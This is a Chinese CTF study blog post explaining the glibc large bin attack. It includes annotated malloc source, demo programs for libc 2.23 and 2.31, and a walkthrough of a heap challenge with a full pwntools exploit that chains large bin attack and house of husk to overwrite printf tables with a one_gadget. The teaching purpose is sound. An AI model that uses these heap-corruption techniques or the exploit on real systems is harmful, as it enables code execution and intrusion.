皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack

admin 2023年8月12日20:04:24评论14 views字数 16595阅读55分19秒阅读模式

large bin attack

本文首发于先知社区 皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习,共同进步~

前言

house系列的很多手法都需要利用large bin attack,这里来系统总结一下,以便于后续house系列的学习。

large bin

large bin的结构相对来说比较复杂

/*
  This struct declaration is misleading (but accurate and necessary).
  It declares a "view" into memory allowing access to necessary
  fields at known offsets from a given base. See explanation below.
*/

struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

比一般的bin中的chunk多了fd_nextsize和bk_nextsize结构

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack

Largebin用来收容超过0x400大小以上的chunk(64位),其是一个双向链表,一共可以容纳63个chunk,对于链表对应存储chunk的大小没有明确规定,而是规定了一个范围,根据具体的数值可以分为6组

组-------数量--------差值
1---------32---------64(0x40)
2---------16---------512(0x200)
3---------8----------4096(0x1000)
4---------4----------32768(0x8000)
5---------2----------262144(0x40000)
6---------1----------无限制
皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack

用 fd_nextsize 和 bk_nextsize 链接的链表为横向链表,用 fd 和 bk 链接的链表为纵向链表 在横向链表中,堆管理器维护一个循环的单调链表,由最大的 size(在这个 index 下的最大 size)作为表头,最小的 size 作为表尾,且首尾相连 size 最大的chunk的 bk_nextsize 指向最小的 chunk,size 最小的 chunk 的 fd_nextsize 指向最大的 chunk 一般空闲的large chunk在fd的遍历顺序中,按照由大到小的顺序排列

插入顺序

if (in_smallbin_range(size)) /* smallbin(暂时不管) */
{
  victim_index = smallbin_index(size);//获取size对应的smallbin的index
  bck = bin_at(av, victim_index);//bck指向size对应的smallbin的链表头
  //fwd指向size对应的smallbin的链表中的新加入的chunk(small bin使用头插法)
  fwd = bck->fd;
}
else /* largebin(核心) */
{
    /*
    victim => 需要插入的目标chunk
    fwd => 最终为victim的上一个chunk(可以定位victim)
    bck => 最终为victim的下一个chunk(可以定位victim)
    */

    
  victim_index = largebin_index(size); /* 获取size对应的largebin的index */
  bck = bin_at(av, victim_index); 
  fwd = bck->fd; 
    /* 
    fwd => 最大的chunk(对应链表头中的第一个chunk)
    bck => 对应的largebin的链表头
    bck->fd => 对应largebin中最大的chunk(并且是第一个chunk)
    bck->bk => 对应largebin中最小的chunk(并且是最后一个chunk)
    */

    
  //如果largebin非空,在largbin进行按顺序插入
  if (fwd != bck) {
      /* Or with inuse bit to speed comparisons */
      size |= PREV_INUSE;
      assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert

      if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {
          /* 
          "bck->bk"指向对应largebin中最小的chunk
           如果"size"<"bck->bk->size",那么目标chunk将成为新的最小chunk
           因此需要把victim添加到此largebin的尾部
           */

          
          fwd = bck; /* fwd = 原链表头 */
          bck = bck->bk; /* bck = 原链表尾(最后一个chunk) */    
        
          victim->fd_nextsize = fwd->fd; 
          /* 在"victim->fd_nextsize"中装入"最大chunk" */
          victim->bk_nextsize = fwd->fd->bk_nextsize; 
          /* 在"victim->bk_nextsize"中装入"原最小chunk" */
          fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
          /* 先把 "victim" 装入 "原最小chunk->fd_nextsize" */
          /* 再把 "victim" 装入 "最大chunk->bk_nextsize" */
      } 
      else /* 如果victim不是(不唯一是)largebin中最小的chunk */
      {
          assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
          //从大到小(从头到尾)找到合适的位置
          while ((unsigned long) size < fwd->size) {
              fwd = fwd->fd_nextsize; /* 不断更新fwd,直到"size">="fwd->size" */
              assert((fwd->size & NON_MAIN_ARENA) == 0);
          }
            
          if ((unsigned long) size == (unsigned long) fwd->size)
              /* 如果size刚好相等,就直接插入对应纵向列表的头部 */
              fwd = fwd->fd; /* fwd = 对应纵向列表的第一个chunk(跳过了头部) */
          else 
          {
              /* 如果size不相等("size">"fwd->size"),就把victim加入到新的纵向链表 */
              /* fwd = 新纵向列表的头部 */
              
              victim->fd_nextsize = fwd;
              /* 在"victim->fd_nextsize"中装入"对应size小于victim的纵向链表" */
              victim->bk_nextsize = fwd->bk_nextsize;
              /* 在"victim->bk_nextsize"中装入"对应size大于victim的纵向链表" */
              fwd->bk_nextsize = victim;
              /* 在"纵向链表(小于victim)->bk_nextsize"中装入"victim" */
              victim->bk_nextsize->fd_nextsize = victim;
              /* 在"纵向链表(大于victim)->fd_nextsize"中装入"victim" */
          }
          bck = fwd->bk; /* bck = 当前fwd的上一个chunk*/
      }
  } 
  else //如果largebin为空,将victim加入到纵向列表
    victim->fd_nextsize = victim->bk_nextsize = victim;
    /* 先把 "victim" 装入 "victim->bk_nextsize" */
    /* 再把 "victim" 装入 "victim->fd_nextsize" */
}
mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
//把victim加入到large bin的链表中
victim->bk = bck; /* bck = victim对应的下一个chunk */
victim->fd = fwd; /* fwd = victim对应的上一个chunk */
fwd->bk = victim;
bck->fd = victim;
1.按照大小,从大到小排序(小的链接large bin块)
2.如果大小相同,按照free的时间排序
3.多个大小相同的堆块,只有首堆块的fd_nextsize和bk_nextsize会指向其他堆块,后面的堆块的fd_nextsize和bk_nextsize均为0
4.size最大的chunk的bk_nextsize指向最小的chunk,size最小的chunk的fd_nextsize指向最大的chunk

libc-2.23

演示实例

利用 large bin attack 向两个栈地址中写入堆地址

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
   
    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "stack_var1 (%p): %ldn", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ldnn", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x320);
    malloc(0x20);
    unsigned long *p2 = malloc(0x400);
    malloc(0x20);
    unsigned long *p3 = malloc(0x400);
    malloc(0x20);
 
    free(p1);
    free(p2);
    malloc(0x90);

    free(p3);

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    malloc(0x90);

    fprintf(stderr, "stack_var1 (%p): %pn", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %pn", &stack_var2, (void *)stack_var2);

    return 0;
}

用gdb跟着流程分析一下

    fprintf(stderr, "stack_var1 (%p): %ldn", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ldnn", &stack_var2, stack_var2);
stack_var1 (0x7fffffffdc90): 0
stack_var2 (0x7fffffffdc98): 0
    unsigned long *p1 = malloc(0x320);
    malloc(0x20); //protect
    unsigned long *p2 = malloc(0x400);
    malloc(0x20); //protect
    unsigned long *p3 = malloc(0x400);
    malloc(0x20); //protect
皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack
    free(p1);
    free(p2);
皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack
  malloc(0x90);

这里是去遍历unsorted bin,发现没有大小一致的chunk后,就把两个chunk释放到大小对应的链表中,也就是p1进入small bin,p2进入large bin,然后分割small bin中的p1,申请完后剩下的部分再放回unsorted bin

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack
 free(p3);
皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack
然后修改p2的结构

fd : 0
bk : stack_var1_addr - 0x10 
fd_nextsize : 0
bk_nextsize : stack_var2_addr - 0x20
    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

修改前:

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack

修改后:

重点注意 bk 和 bk_nextsize

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack

此时还未链入large bin的p3

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack
  malloc(0x90);

攻击后的p2:

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack

攻击后的p3:

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack
stack_var1 (0x7fffffffdc90): 0x6027a0
stack_var2 (0x7fffffffdc98): 0x6027a0
皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack

然后这里再详细的将一下把p3链入large bin发生的事情

上述改变p2的size为0x3f1,这时候就满足了p2_size<p3_size

这时候就会执行源码中的下列流程:

fwd = bck /* fwd初始化为原链表头 */
fwd = fwd->fd_nextsize /* 遍历链表寻找合适的fwd,最后找到fwd=p2(p2已经被伪造) */
/* fwd = p2 */

bck = fwd->bk /* 这里的fwd就是p2,而fwd->bk则是"stack_var1-2" */
/* bck = stack_var1-2 */

/* victim :p3 */
victim->bk = bck /* bk = stack_var1 - 2 */
victim->fd = fwd /* fd = p2 */
victim->bk_nextsize = fwd->bk_nextsize /* bk_nextsize = stack_var2 - 4 */
victim->fd_nextsize = fwd /* fd_nextsize = p2 */
通俗一点就是
p3 的 fd 指向 p2
p3 的 fd_nextsize 也指向 p2
p3 的 bk 指向 p2 bk 指向的地址
p3 的 bk_nextsize 指向 p2 bk_nextsize 指向的地址

最后就是 stack_var1 和 stack_var2 被修改的原因:

/* fwd = p2 */
/* bck = stack_var1-2 */

fwd->bk_nextsize = victim /* p2->bk_nextsize = p3 */
victim->bk_nextsize->fd_nextsize = victim /* (stack_var2-4) -> fd_nextsize = p3 */
/* stack_var2 -> victim */

fwd->bk = victim /* p2->bk = p3 */
bck->fd = victim /* (stack_var1-2) -> fd = p3 */
/* stack_var1 -> victim */
通俗一点就是
p2 的 fd 指向 p3
p2 的 bk_nextsize 指向 p3
stack_var1 指向 p3
stack_var2 指向 p3

总结过程

在同一 large bin 范围中 ,改 size 较小的 chunkA bk为 目标地值1-0x10 , bk_nextsize 为 目标地址2-0x20,然后将size 较大的chunkB 链入 large bin,就能使得chunkB 的 fd 和 fd_nextsize 指向chunkA ,bk指向目标地值1-0x10,bk_nextsize指向目标地址2-0x20  ,同时在得两个目标地址处写上较大chunk的地址(主要目的)

libc-2.31

glibc-2.31 对于 largebin 的检查做了一些增强

if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

不过这个检查只存在于插入 large bin 的 unsorted chunk 的 size 大于 large bin 中本身有的 chunk 时 (就是unsorted bin 中的 chunk 链入large bin 时与原有的 large bin 中的chunk大小进行比较 ) 我们在libc-2.23中对 large bin attack 的利用是 大的chunk链入large bin ,这里为了绕过检查,我们可以链入小的chunk,同时修改size比较大的chunk达到攻击效果(不过只能改bk_nextsize,然后能够向一个目标地址写入较大chunk的地址)

演示实例

#include<stdio.h>
#include<malloc.h>
int main(){
  setvbuf(stdout, 020);
  setvbuf(stdin, 020);
  puts("glibc-2.31 large bin attack");
  char array[0x20];
  size_t *p1 = malloc(0x460); //largebin
  malloc(0x10); //to separate
  size_t *p2 = malloc(0x450); //unsortedbin
  malloc(0x450); //to separate
  free(p1);
  malloc(0x470); //Release p1 into largebin
  free(p2);  //Release p2 into unsortedbin
  *(p1+3) = array-0x20;
  malloc(0x470); //Release p2 into largebin
}

free(p2) 后

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack

然后更改size较大chunk的

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack
malloc(0x470);

修改p1 的 bk_nextsize

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack
 malloc(0x470);

array成功被修改成p2地址

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack

总结过程

攻击也是发生在插入过程中,只不过这次是size较小的插入,同样修改的还是预先留在large bin中的chunk(这次是size 较大)的 bk_nextsize ,最终往目标地址处写入了插入chunk的地址

heap_level1

glibc 2.31

ida

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+8h] [rbp-8h]
  int v4; // [rsp+Ch] [rbp-4h]

  ready(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu_book();
        v4 = my_read();
        if ( v4 != 4 )
          break;
        edit_book();
      }
      if ( v4 <= 4 )
        break;
LABEL_13:
      for ( i = 0; i <= 0; ++i )
        printf("%X", &puts);  //可以打house of husk
    }
    if ( v4 == 3 )
    {
      show_book();
    }
    else
    {
      if ( v4 > 3 )
        goto LABEL_13;
      if ( v4 == 1 )
      {
        add_book();
      }
      else
      {
        if ( v4 != 2 )
          goto LABEL_13;
        delete_book();
      }
    }
  }
}
int add_book()
{
  unsigned int size; // [rsp+8h] [rbp-38h]
  unsigned int size_4; // [rsp+Ch] [rbp-34h]
  void *v3; // [rsp+10h] [rbp-30h]
  char buf[4]; // [rsp+1Ch] [rbp-24h] BYREF
  char nptr[24]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  puts("HOw much?");
  read(0, buf, 5uLL);
  size = atoi(buf);
  if ( size > 0x550 || size <= 0x41F )   //      0x420 <= size <= 0x550
  {
    puts("size error!");
    exit(0);
  }
  v3 = malloc(size);
  puts("which?");
  read(0, nptr, 8uLL);
  size_4 = atoi(nptr);
  book_size[size_4] = size;
  *((_QWORD *)&book_ptr + size_4) = v3;
  puts("Content:");
  read(0, *((void **)&book_ptr + size_4), size);
  return puts("book add OK!");
}
int delete_book()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h]
  char buf[5]; // [rsp+13h] [rbp-Dh] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("which one?");
  read(0, buf, 5uLL);
  v1 = atoi(buf);
  if ( v1 <= 0x20 && *((_QWORD *)&book_ptr + v1) )   //限制了堆块的数量为0x20
    free(*((void **)&book_ptr + v1));
  else
    puts("Invalid idx");
  return puts("delete OK!");
}
int edit_book()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("which one?");
  read(0, buf, 0x10uLL);
  v1 = atoi(buf);
  if ( v1 > 0xF )
    return 0;
  if ( !*((_QWORD *)&book_ptr + v1) )
    return puts("empty!");
  puts("content:");
  read(0, *((void **)&book_ptr + v1), (unsigned int)book_size[v1]);
  return puts("edit OK!");
}
int show_book()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("which one?");
  read(0, buf, 0x10uLL);
  v1 = atoi(buf);
  if ( v1 > 0x20 )
    return 0;
  if ( !*((_QWORD *)&book_ptr + v1) )
    return puts("it is empty!");
  write(1, *((const void **)&book_ptr + v1), 8uLL);
  return puts("show OK!");
}

只能申请 0x420 ~ 0x550之间的堆块,但是数量为 0x20 ,所以操作性还是很大的

思路

这里运用 large bin attack + house of husk 的手法来做这个题

详细流程

add(0,0x500,'aaaa'#290
add(1,0x500,'aaaa'#7a0

delete(0)
show(0)

libc_base=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x1ecbe0
leak('libc_base ',libc_base)

首先不难想到的是在unsorted bin里面把libc基地址泄露出来

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack
delete(1)

这一步挺巧妙的,主动把chunk合并来清空bin列表

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack
add(2,0x420,'bbbb')
add(3,0x420,'bbbb')
add(4,0x420,'bbbb')

edit(0,'x00'*0x420+p64(0)+p64(0x41))
edit(1,'x00'*0x340+p64(0)+p64(0x41))

delete(3)
delete(4)

show(4)
heap_addr=u64(p.recv(6)[-6:].ljust(8,'x00'))-0x6d0
leak('heap_addr',heap_addr)

这里也比较巧妙,是用chunk0和chunk1存留的指针溢出(这里是人为构造的:chunk0和1 0x500 大于 chunk 2和3 0x420),来修改chunk3和chunk4的大小,从而把3、4链入tcachebins,用这种方法来泄露heap地址。其实因为能够控制的堆块很多,所以不局限于这一种方法来泄露,只要能把chunk链起来都能泄露heap地址,不过后续为了打large bin attack,可能还要清空bin链表,所以步骤会很多。而这种方法把chunk链入tcachebins去泄露,后续进行攻击也不需要清空bin列表

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack
add(5,0x448,'cccc')
add(6,0x500,'cccc')
add(7,0x458,'cccc')
add(8,0x500,'cccc')

delete(7)
add(9,0x500,'dddd')
delete(5)

printf_function_table=libc_base+0x1f1318
pl=p64(0)*3+p64(printf_function_table-0x20)
edit(7,pl)

add(10,0x500,'dddd')

然后就利用large bin attack去打house of husk,这里先去让 printf_function_table 非空

可以看到修改完 bk_nextsize 后 再链入较小的 chunk ,成功往 printf_function_table 处写入chunk地址

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack
add(11,0x448,'eeee')
delete(11)

printf_arginfo_table=libc_base+0x1ed7b0

pl=p64(0)*3+p64(printf_arginfo_table-0x20)
edit(7,pl)

add(12,0x500,'eeee')

把小的chunk申请出来,然后再打一遍 large bin attack 去修改 printf_arginfo_table

可以看到 printf_arginfo_table 的首地址也成功修改成chunk头

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack
ogs=[0xe3afe,0xe3b01,0xe3b04]
og=libc_base + ogs[1]

pl='a'*((ord('X')*8-0x10))+p64(og)
edit(11,pl)

之后就是把 __printf_arginfo_table[ord(X)] 的位置修改成 onegadget 就行了,这里 (ord('X')*8-0x10 是因为 edit 是从 fd 开始修改堆块的

sla('>> ','666')

然后我们选择其他一个选项去调用printf就可以了

皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack

exp

#encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64

context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"

name = './pwn'

debug = 0
if debug:
    p = remote('127.0.0.1',8000)
else:
    p = process(name)


#libcso = '/lib/x86_64-linux-gnu/libc-2.31.so'
libcso = './libc-2.31.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)


s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data,num           :u32(p.recvuntil(data)[-num:].ljust(4,b'x00'))
uu64    = lambda data,num           :u64(p.recvuntil(data)[-num:].ljust(8,b'x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32     = lambda      :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']

add_idx = 1
delete_idx = 2
show_idx = 3
edit_idx = 4

def duan():
   gdb.attach(proc.pidof(p)[0])
   pause()

bss = elf.bss()
li('bss = '+hex(bss))


def choice(cho):
    sla('>> ',cho)

def add(size,idx,con):
    choice(add_idx)
    sla('HOw much?n',size)
    sla('which?n',idx)
    p.sendlineafter('Content:n',con)

def delete(idx):
    choice(delete_idx)
    sla('which one?n',idx)

def show(idx):
    choice(show_idx)
    sla('which one?n',idx)

def edit(idx,con):
    choice(edit_idx)
    sla('which one?n',idx)
    p.sendafter('content:n',con)



add(0x500,0,b'aaa')
add(0x500,1,b'bbb')

delete(0)
show(0)
libc_base=l64()-96-0x10-libc.sym['__malloc_hook']
li('libc_base = '+hex(libc_base))


delete(1)
duan()
add(0x420,2,b'ccc')
add(0x420,3,b'ddd')
add(0x420,4,b'eee')

edit(0,b'x00'*0x420+p64(0)+p64(0x41)) #6c0

edit(1,b'x00'*0x340+p64(0)+p64(0x41)) #af0

delete(3)
delete(4)


show(4)
heap_addr = u64(p.recvuntil("x55")[-6:].ljust(8,b"x00"))-0x6d0 #+0x290
li('heap_addr = '+hex(heap_addr))

add(0x448,5b'fff'#
add(0x500,6b'ggg')
add(0x458,7b'hhh'#
add(0x500,8b'iii')


delete(7#ub
add(0x500,9,b'jjj'#chunk7 -> large


###__printf_function_table != 0
delete(5#ub


printf_function_table = libc_base+0x1f1318
pl=p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_function_table-0x20)
# main_arena+1120  main_arena+1120
# chunk7-0x20      __printf_function_table-0x20
edit(7,pl)

#duan()
add(0x500,10,'kkk'#attack

#duan()

###__printf_arginfo_table 
add(0x448,11,'lll'#rl chunk5
delete(11#ub
duan()
printf_arginfo_table = libc_base+0x1ed7b0
pl=p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_arginfo_table-0x20)
edit(7,pl)

add(0x500,12,'mmm'#attack

ogs = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base + ogs[1]

pl=b'a'*((ord('X'))*8-0x10)+p64(og)
#printf(ord('X')-2)
edit(11,pl)

#duan()
sla('>> ','5')
'''
'''

itr()


原文始发于微信公众号(山警网络空间安全实验室):皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attack

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月12日20:04:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   皮蛋厂的学习日记 2023.7.27 | F4atherw1t large bin attackhttps://cn-sec.com/archives/1940937.html

发表评论

匿名网友 填写信息